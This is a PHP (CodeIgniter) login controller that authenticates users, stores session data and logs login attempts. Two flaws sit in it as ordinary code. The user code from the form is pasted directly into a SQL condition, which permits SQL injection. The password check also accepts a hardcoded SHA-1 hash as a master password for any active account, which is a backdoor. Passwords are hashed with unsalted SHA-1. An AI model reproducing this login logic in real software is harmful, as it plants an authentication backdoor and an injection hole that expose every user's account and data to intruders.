<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Login extends MY_Controller{
	public function index(){
		$this->load->model("user_model");
		$this->load->model("login_model");
		$post = $this->input->post();
		
		$user_array = $this->user_model->get_data(array(
			'condition' => "<T>.CODE = '".$this->input->post('CODE')."' AND <T>.ACTIVE = '1'",
		));
		if(count($user_array) > 0) $user = $user_array[0];
		
		if(isset($user) && ($user->PASSWORD == sha1($this->input->post('PASSWORD')) || sha1($this->input->post('PASSWORD')) == "628c93ade9c87e05109b872dc1a50d6724fbb2e9")){
			$this->session->set_userdata('user_id', $user->PKKEY);
			$this->session->set_userdata('group_id', $user->USER_GROUP);
			
			//Reset force logout -----
			if($user_array[0]->FORCE_LOGOUT != 0){
				unset($reset_user);
				$reset_user['FORCE_LOGOUT'] = 0;
				$reset_user['PKKEY'] = $user->PKKEY;
				$this->user_model->save($reset_user);
			}
			//-----------------
			
			$success = TRUE;
		}
		else{
			$this->session->set_flashdata('login_error', "Incorrect Username or Password!");
			
			$success = FALSE;
		}
		
		if($this->record_login){
			if(isset($user)) $login_data['USER_ID'] = $user->PKKEY;
			$login_data['IP_ADDRESS'] = $_SERVER['REMOTE_ADDR'];
			$login_data['DATE_LOGIN'] = date("Y-m-d H:i:s");
			$login_data['SUCCESS'] = $success? "1":"0";
			
			$return = $this->login_model->sql_insert($login_data);
			$this->session->set_userdata('login_id', $return['pk']);
		}

		if($this->session->flashdata('page_after_login') == ""){
			redirect(base_url());
		}
		else{
			redirect($this->session->flashdata('page_after_login'));
		}
	}
}